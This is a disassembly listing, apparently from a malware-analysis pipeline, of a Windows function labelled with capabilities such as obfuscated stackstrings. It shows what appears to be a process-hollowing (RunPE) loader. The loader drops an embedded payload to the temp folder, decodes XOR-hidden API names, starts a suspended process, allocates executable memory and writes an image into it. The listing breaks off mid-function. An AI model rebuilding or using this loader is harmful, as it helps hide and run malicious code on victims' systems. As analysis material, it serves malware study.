Function at 0x140001850
Capabilities:
Contain obfuscated stackstrings
Get common file path
Link many functions at runtime
Parse pe header
Write file on windows

Disassembly:
push rbp
push r13
push r12
push rdi
push rbx
mov eax, 0xa7e0
call fcn.14002b710
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa790], rcx
mov rax, qword [rbp + 0xa790]
mov qword [rbp + 0xa738], rax
mov rax, qword [rbp + 0xa738]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xa738]
add rax, rdx
mov qword [rbp + 0xa730], rax
mov rax, qword [rbp + 0xa738]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xa738]
add rax, rdx
add rax, 0x108
mov qword [rbp + 0xa728], rax
cmp qword [rbp + 0xa738], 0
je 0x1400018e1
cmp qword [rbp + 0xa730], 0
je 0x1400018e1
cmp qword [rbp + 0xa728], 0
jne 0x1400018eb
mov ebx, 0
jmp 0x140003b30
lea rax, [rbp + 0xa180]
mov rdx, rax
mov ecx, 0x100
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
movabs rax, 0x3433474644455751
movabs rdx, 0x7663787a38373635
mov qword [rbp + 0xa160], rax
mov qword [rbp + 0xa168], rdx
mov word [rbp + 0xa170], 0x6e62
lea rdx, [rbp + 0xa050]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
call sym.rand
mov ecx, eax
movsxd rax, ecx
imul rax, rax, 0x66666667
shr rax, 0x20
mov edx, eax
sar edx, 2
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
lea eax, [rdx + 0xa]
mov dword [rbp + 0xa724], eax
mov dword [rbp + 0xa75c], 0
jmp 0x140001a0a
call sym.rand
movsxd rcx, eax
movabs rdx, 0xe38e38e38e38e38f
mov rax, rcx
mul rdx
shr rdx, 4
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
sub rcx, rax
mov rdx, rcx
mov dword [rbp + 0xa65c], edx
mov word [rbp + 0x2e], 0
mov eax, dword [rbp + 0xa65c]
cdqe
movzx eax, byte [rbp + rax + 0xa160]
mov byte [rbp + 0x2e], al
lea rdx, [rbp + 0x2e]
lea rax, [rbp + 0xa050]
mov rcx, rax
call sym.strcat
add dword [rbp + 0xa75c], 1
mov eax, dword [rbp + 0xa75c]
cmp eax, dword [rbp + 0xa724]
jl 0x1400019a2
lea rdx, [rbp + 0xa180]
lea rax, [rbp + 0x9e40]
mov rcx, rax
call sym.int_wcscpy_s_260ull__wchar_t_____260ull___wchar_t_const_
lea rdx, [rbp + 0xa050]
lea rax, [rbp + 0x9e40]
mov rcx, rax
call sym.int_wcscat_s_260ull__wchar_t_____260ull___wchar_t_const_
mov word [rbp + 0xa046], 0
mov qword [rbp + 0x9e38], 0
lea rdx, [rbp + 0x9e40]
lea rax, [rbp + 0x9e38]
lea r8, [0x1400c81ea]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
call rax
mov dword [rbp + 0xa720], eax
cmp dword [rbp + 0xa720], 0
jne 0x140001a94
mov rax, qword [rbp + 0x9e38]
test rax, rax
jne 0x140001a9e
mov ebx, 0
jmp 0x140003b30
mov byte [rbp + 0xa388], 0xfd
mov byte [rbp + 0xa389], 0x4c
mov byte [rbp + 0xa38a], 0xfa
mov byte [rbp + 0xa38b], 0x4c
mov byte [rbp + 0xa38c], 0x16
mov byte [rbp + 0xa38d], 0xb9
mov byte [rbp + 0xa38e], 0x67
lea rax, [rbp + 0xa388]
mov r12, rax
mov r13d, 7
lea rax, [rbp + 0xa38f]
mov qword [rbp + 0xa650], rax
nop
nop
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r13
lea rcx, [rbp + 0xa38f]
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x9e20]
mov r8, rcx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::initializer_list_unsigned_char___std::allocator_unsigned_char__const_
lea rax, [rbp + 0xa38f]
mov rcx, rax
call method.std::__new_allocator_unsigned_char_.__new_allocator__
nop
lea rax, [rbp + 0x4c0]
lea rdx, [0x1400c81f0]
mov ecx, 0x9960
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rdx, [rbp + 0x4c0]
lea rax, [rbp + 0x9e20]
mov r8d, 0x9960
mov rcx, rax
call sym._ds_std::vector_unsigned_char__std::allocator_unsigned_char____const__unsigned_char__unsigned_long_long_
mov rdx, qword [rbp + 0x9e38]
lea rax, [rbp + 0x4c0]
mov r9, rdx
mov r8d, 0x9960
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x9e38]
mov rcx, rax
call sym.fclose
mov rdx, qword [rbp + 0xa728]
mov rax, qword [rbp + 0xa730]
mov rcx, rax
call sym.hasReloc__IMAGE_NT_HEADERS___IMAGE_SECTION_HEADER_
mov byte [rbp + 0xa71f], al
mov rax, qword [rbp + 0xa790]
mov qword [rbp + 0xa710], rax
lea rax, [rbp + 0x450]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x450], 0x68
lea rax, [rbp + 0x430]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x410], 0x5b
mov word [rbp + 0x412], 0x54
mov word [rbp + 0x414], 0x40
mov word [rbp + 0x416], 0x5d
mov word [rbp + 0x418], 0x51
mov word [rbp + 0x41a], 0x59
mov word [rbp + 0x41c], 5
mov word [rbp + 0x41e], 5
mov word [rbp + 0x420], 0x16
mov word [rbp + 0x422], 0x5d
mov word [rbp + 0x424], 0x56
mov word [rbp + 0x426], 0x57
mov word [rbp + 0x428], 0x3c
lea rax, [rbp + 0x410]
mov qword [rbp + 0xa648], rax
mov rax, qword [rbp + 0xa648]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
test al, al
je 0x140001d2c
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x410]
mov qword [rbp + 0xa640], rdx
mov qword [rbp + 0xa638], rax
mov dword [rbp + 0xa634], 0
jmp 0x140001d22
mov eax, dword [rbp + 0xa634]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa638]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa634]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa640]
mov edx, dword [rbp + 0xa634]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa634], 1
cmp dword [rbp + 0xa634], 0xc
jle 0x140001cbd
nop
lea rax, [rbp + 0x410]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rbp + 0xa708], rax
cmp qword [rbp + 0xa708], 0
jne 0x140001d5a
mov ebx, 0
jmp 0x140003b21
lea rax, [rbp + 0x410]
mov qword [rbp + 0xa628], rax
mov rax, qword [rbp + 0xa628]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140001e1b
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x410]
mov qword [rbp + 0xa620], rdx
mov qword [rbp + 0xa618], rax
mov dword [rbp + 0xa614], 0
jmp 0x140001e11
mov eax, dword [rbp + 0xa614]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa618]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa614]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa620]
mov edx, dword [rbp + 0xa614]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa614], 1
cmp dword [rbp + 0xa614], 0xc
jle 0x140001dac
nop
mov dword [rbp + 0xa5f0], 0
jmp 0x140001e40
mov eax, dword [rbp + 0xa5f0]
cdqe
mov word [rbp + rax*2 + 0x410], 0
add dword [rbp + 0xa5f0], 1
cmp dword [rbp + 0xa5f0], 0xc
jle 0x140001e27
nop
mov word [rbp + 0x3f0], 0x73
mov word [rbp + 0x3f2], 0x43
mov word [rbp + 0x3f4], 0x57
mov word [rbp + 0x3f6], 0x52
mov word [rbp + 0x3f8], 0x40
mov word [rbp + 0x3fa], 0x50
mov word [rbp + 0x3fc], 0x66
mov word [rbp + 0x3fe], 0x45
mov word [rbp + 0x400], 0x57
mov word [rbp + 0x402], 0x5a
mov word [rbp + 0x404], 0x5f
mov word [rbp + 0x406], 0x48
mov word [rbp + 0x408], 0x4f
mov word [rbp + 0x40a], 0x6a
mov word [rbp + 0x40c], 0x3e
lea rax, [rbp + 0x3f0]
mov qword [rbp + 0xa608], rax
mov rax, qword [rbp + 0xa608]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x140001f8f
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x3f0]
mov qword [rbp + 0xa600], rdx
mov qword [rbp + 0xa5f8], rax
mov dword [rbp + 0xa5f4], 0
jmp 0x140001f85
mov eax, dword [rbp + 0xa5f4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa5f8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa5f4]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa600]
mov edx, dword [rbp + 0xa5f4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa5f4], 1
cmp dword [rbp + 0xa5f4], 0xe
jle 0x140001f20
nop
lea rax, [rbp + 0x3f0]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa700], rax
cmp qword [rbp + 0xa700], 0
jne 0x140001fcf
mov ebx, 0
jmp 0x140003b21
mov r10, qword [rbp + 0xa700]
lea rax, [rbp + 0x9e40]
lea rdx, [rbp + 0x430]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x450]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa6ff], al
movzx eax, byte [rbp + 0xa6ff]
test eax, eax
jne 0x14000204f
mov ebx, 0
jmp 0x140003b21
lea rax, [rbp + 0x3f0]
mov qword [rbp + 0xa5e8], rax
mov rax, qword [rbp + 0xa5e8]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002110
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x3f0]
mov qword [rbp + 0xa5e0], rdx
mov qword [rbp + 0xa5d8], rax
mov dword [rbp + 0xa5d4], 0
jmp 0x140002106
mov eax, dword [rbp + 0xa5d4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa5d8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa5d4]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa5e0]
mov edx, dword [rbp + 0xa5d4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa5d4], 1
cmp dword [rbp + 0xa5d4], 0xe
jle 0x1400020a1
nop
mov dword [rbp + 0xa5d0], 0
jmp 0x140002135
mov eax, dword [rbp + 0xa5d0]
cdqe
mov word [rbp + rax*2 + 0x3f0], 0
add dword [rbp + 0xa5d0], 1
cmp dword [rbp + 0xa5d0], 0xe
jle 0x14000211c
nop
cmp byte [rbp + 0xa71f], 0
je 0x1400023ab
mov word [rbp + 0x10], 0x79
mov word [rbp + 0x12], 0x42
mov word [rbp + 0x14], 0x65
mov word [rbp + 0x16], 0x5c
mov word [rbp + 0x18], 0x43
mov word [rbp + 0x1a], 3
mov word [rbp + 0x1c], 2
mov word [rbp + 0x1e], 0x67
mov word [rbp + 0x20], 0x4a
mov word [rbp + 0x22], 0x56
mov word [rbp + 0x24], 0x59
mov word [rbp + 0x26], 0x5e
mov word [rbp + 0x28], 0x4f
mov word [rbp + 0x2a], 0x4e
mov word [rbp + 0x2c], 0x3e
lea rax, [rbp + 0x10]
mov qword [rbp + 0xa5c8], rax
mov rax, qword [rbp + 0xa5c8]
mov qword [rbp + 0xa5c0], rax
mov rax, qword [rbp + 0xa5c0]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x14000226f
mov rax, qword [rbp + 0xa5c8]
mov rdx, qword [rbp + 0xa5c8]
mov qword [rbp + 0xa5b8], rdx
mov qword [rbp + 0xa5b0], rax
mov dword [rbp + 0xa5ac], 0
jmp 0x140002265
mov eax, dword [rbp + 0xa5ac]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa5b0]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa5ac]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa5b8]
mov edx, dword [rbp + 0xa5ac]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa5ac], 1
cmp dword [rbp + 0xa5ac], 0xe
jle 0x140002200
nop
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa6f0], rax
cmp qword [rbp + 0xa6f0], 0
jne 0x1400022ac
mov ebx, 0
jmp 0x140003b21
mov r8, qword [rbp + 0xa6f0]
mov rax, qword [rbp + 0x430]
lea rdx, [rbp + 0x3ec]
mov rcx, rax
call r8
lea rax, [rbp + 0x10]
mov qword [rbp + 0xa5a0], rax
mov rax, qword [rbp + 0xa5a0]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x14000237f
lea rax, [rbp + 0x10]
lea rdx, [rbp + 0x10]
mov qword [rbp + 0xa598], rdx
mov qword [rbp + 0xa590], rax
mov dword [rbp + 0xa58c], 0
jmp 0x140002375
mov eax, dword [rbp + 0xa58c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa590]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa58c]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa598]
mov edx, dword [rbp + 0xa58c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa58c], 1
cmp dword [rbp + 0xa58c], 0xe
jle 0x140002310
nop
mov dword [rbp + 0xa588], 0
jmp 0x1400023a1
mov eax, dword [rbp + 0xa588]
cdqe
mov word [rbp + rax*2 + 0x10], 0
add dword [rbp + 0xa588], 1
cmp dword [rbp + 0xa588], 0xe
jle 0x14000238b
nop
mov word [rbp + 0x3c0], 0x66
mov word [rbp + 0x3c2], 0x58
mov word [rbp + 0x3c4], 0x40
mov word [rbp + 0x3c6], 0x47
mov word [rbp + 0x3c8], 0x41
mov word [rbp + 0x3ca], 0x54
mov word [rbp + 0x3cc], 0x5a
mov word [rbp + 0x3ce], 0x76
mov word [rbp + 0x3d0], 0x54
mov word [rbp + 0x3d2], 0x55
mov word [rbp + 0x3d4], 0x55
mov word [rbp + 0x3d6], 0x58
mov word [rbp + 0x3d8], 0x79
mov word [rbp + 0x3da], 0x45
mov word [rbp + 0x3dc], 0x3e
lea rax, [rbp + 0x3c0]
mov qword [rbp + 0xa580], rax
mov rax, qword [rbp + 0xa580]
mov qword [rbp + 0xa578], rax
mov rax, qword [rbp + 0xa578]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x1400024fe
mov rax, qword [rbp + 0xa580]
mov rdx, qword [rbp + 0xa580]
mov qword [rbp + 0xa570], rdx
mov qword [rbp + 0xa568], rax
mov dword [rbp + 0xa564], 0
jmp 0x1400024f4
mov eax, dword [rbp + 0xa564]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa568]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa564]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa570]
mov edx, dword [rbp + 0xa564]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa564], 1
cmp dword [rbp + 0xa564], 0xe
jle 0x14000248f
nop
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa6e8], rax
cmp qword [rbp + 0xa6e8], 0
jne 0x14000253e
mov ebx, 0
jmp 0x140003b21
lea rax, [rbp + 0x3c0]
mov qword [rbp + 0xa558], rax
mov rax, qword [rbp + 0xa558]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x1400025ff
lea rax, [rbp + 0x3c0]
lea rdx, [rbp + 0x3c0]
mov qword [rbp + 0xa550], rdx
mov qword [rbp + 0xa548], rax
mov dword [rbp + 0xa544], 0
jmp 0x1400025f5
mov eax, dword [rbp + 0xa544]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa548]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa544]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa550]
mov edx, dword [rbp + 0xa544]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa544], 1
cmp dword [rbp + 0xa544], 0xe
jle 0x140002590
nop
mov dword [rbp + 0xa540], 0
jmp 0x140002624
mov eax, dword [rbp + 0xa540]
cdqe
mov word [rbp + rax*2 + 0x3c0], 0
add dword [rbp + 0xa540], 1
cmp dword [rbp + 0xa540], 0xe
jle 0x14000260b
nop
mov r10, qword [rbp + 0xa6e8]
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x34]
mov eax, eax
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
call r10
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x3b8]
test rax, rax
jne 0x140002910
mov word [rbp - 0x20], 0x64
mov word [rbp - 0x1e], 0x54
mov word [rbp - 0x1c], 0x40
mov word [rbp - 0x1a], 0x5e
mov word [rbp - 0x18], 0x5d
mov word [rbp - 0x16], 0x5b
mov word [rbp - 0x14], 0x57
mov word [rbp - 0x12], 0x43
mov word [rbp - 0x10], 0x5d
mov word [rbp - 0xe], 0x69
mov word [rbp - 0xc], 0x48
mov word [rbp - 0xa], 0x54
mov word [rbp - 8], 0x5f
mov word [rbp - 6], 0x58
mov word [rbp - 4], 0x4d
mov word [rbp - 2], 0x4c
mov word [rbp], 0x40
lea rax, [rbp - 0x20]
mov qword [rbp + 0xa538], rax
mov rax, qword [rbp + 0xa538]
mov qword [rbp + 0xa530], rax
mov rax, qword [rbp + 0xa530]
movzx eax, word [rax + 0x20]
test ax, ax
setne al
test al, al
je 0x1400027b4
mov rax, qword [rbp + 0xa538]
mov rdx, qword [rbp + 0xa538]
mov qword [rbp + 0xa528], rdx
mov qword [rbp + 0xa520], rax
mov dword [rbp + 0xa51c], 0
jmp 0x1400027aa
mov eax, dword [rbp + 0xa51c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa520]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa51c]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa528]
mov edx, dword [rbp + 0xa51c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa51c], 1
cmp dword [rbp + 0xa51c], 0x10
jle 0x140002745
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa6e0], rax
cmp qword [rbp + 0xa6e0], 0
jne 0x1400027f1
mov ebx, 0
jmp 0x140003b21
mov r8, qword [rbp + 0xa6e0]
mov rax, qword [rbp + 0x430]
mov edx, 0
mov rcx, rax
call r8
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
lea rax, [rbp - 0x20]
mov qword [rbp + 0xa510], rax
mov rax, qword [rbp + 0xa510]
movzx eax, word [rax + 0x20]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x1400028d5
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xa508], rdx
mov qword [rbp + 0xa500], rax
mov dword [rbp + 0xa4fc], 0
jmp 0x1400028cb
mov eax, dword [rbp + 0xa4fc]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa500]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa4fc]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa508]
mov edx, dword [rbp + 0xa4fc]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa4fc], 1
cmp dword [rbp + 0xa4fc], 0x10
jle 0x140002866
nop
mov dword [rbp + 0xa4f8], 0
jmp 0x1400028f7
mov eax, dword [rbp + 0xa4f8]
cdqe
mov word [rbp + rax*2 - 0x20], 0
add dword [rbp + 0xa4f8], 1
cmp dword [rbp + 0xa4f8], 0x10
jle 0x1400028e1
nop
mov rax, qword [rbp + 0xa790]
mov rcx, rax
call sym.runpe_unsigned_char_
mov rax, qword [rbp + 0x3b8]
mov edx, eax
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x34]
sub edx, eax
mov dword [rbp + 0xa6dc], edx
mov word [rbp + 0x390], 0x67
mov word [rbp + 0x392], 0x43
mov word [rbp + 0x394], 0x5b
mov word [rbp + 0x396], 0x47
mov word [rbp + 0x398], 0x51
mov word [rbp + 0x39a], 0x65
mov word [rbp + 0x39c], 0x44
mov word [rbp + 0x39e], 0x58
mov word [rbp + 0x3a0], 0x5b
mov word [rbp + 0x3a2], 0x5c
mov word [rbp + 0x3a4], 0x49
mov word [rbp + 0x3a6], 0x48
mov word [rbp + 0x3a8], 0x71
mov word [rbp + 0x3aa], 0x58
mov word [rbp + 0x3ac], 0x53
mov word [rbp + 0x3ae], 0x50
mov word [rbp + 0x3b0], 0x32
mov word [rbp + 0x3b2], 0x38
mov word [rbp + 0x3b4], 0x42
lea rax, [rbp + 0x390]
mov qword [rbp + 0xa4f0], rax
mov rax, qword [rbp + 0xa4f0]
mov qword [rbp + 0xa4e8], rax
mov rax, qword [rbp + 0xa4e8]
movzx eax, word [rax + 0x24]
test ax, ax
setne al
test al, al
je 0x140002aa2
mov rax, qword [rbp + 0xa4f0]
mov rdx, qword [rbp + 0xa4f0]
mov qword [rbp + 0xa4e0], rdx
mov qword [rbp + 0xa4d8], rax
mov dword [rbp + 0xa4d4], 0
jmp 0x140002a98
mov eax, dword [rbp + 0xa4d4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa4d8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa4d4]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa4e0]
mov edx, dword [rbp + 0xa4d4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa4d4], 1
cmp dword [rbp + 0xa4d4], 0x12
jle 0x140002a33
nop
lea rax, [rbp + 0x390]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa6d0], rax
lea rax, [rbp + 0x390]
mov qword [rbp + 0xa4c8], rax
mov rax, qword [rbp + 0xa4c8]
movzx eax, word [rax + 0x24]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002b8f
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x390]
mov qword [rbp + 0xa4c0], rdx
mov qword [rbp + 0xa4b8], rax
mov dword [rbp + 0xa4b4], 0
jmp 0x140002b85
mov eax, dword [rbp + 0xa4b4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa4b8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa4b4]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa4c0]
mov edx, dword [rbp + 0xa4b4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa4b4], 1
cmp dword [rbp + 0xa4b4], 0x12
jle 0x140002b20
nop
mov dword [rbp + 0xa4b0], 0
jmp 0x140002bb4
mov eax, dword [rbp + 0xa4b0]
cdqe
mov word [rbp + rax*2 + 0x390], 0
add dword [rbp + 0xa4b0], 1
cmp dword [rbp + 0xa4b0], 0x12
jle 0x140002b9b
nop
mov byte [rbp + 0xa75b], 0
cmp byte [rbp + 0xa71f], 0
je 0x140002c2d
mov rax, qword [rbp + 0x3b8]
mov edx, eax
mov rax, qword [rbp + 0xa730]
mov dword [rax + 0x34], edx
mov r10, qword [rbp + 0xa6d0]
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rdx, qword [rbp + 0x3b8]
mov rax, qword [rbp + 0x430]
mov rcx, qword [rbp + 0xa710]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa75b], al
jmp 0x140002c77
mov r10, qword [rbp + 0xa6d0]
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rdx, qword [rbp + 0x3b8]
mov rax, qword [rbp + 0x430]
mov rcx, qword [rbp + 0xa710]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa75b], al
movzx eax, byte [rbp + 0xa75b]
test eax, eax
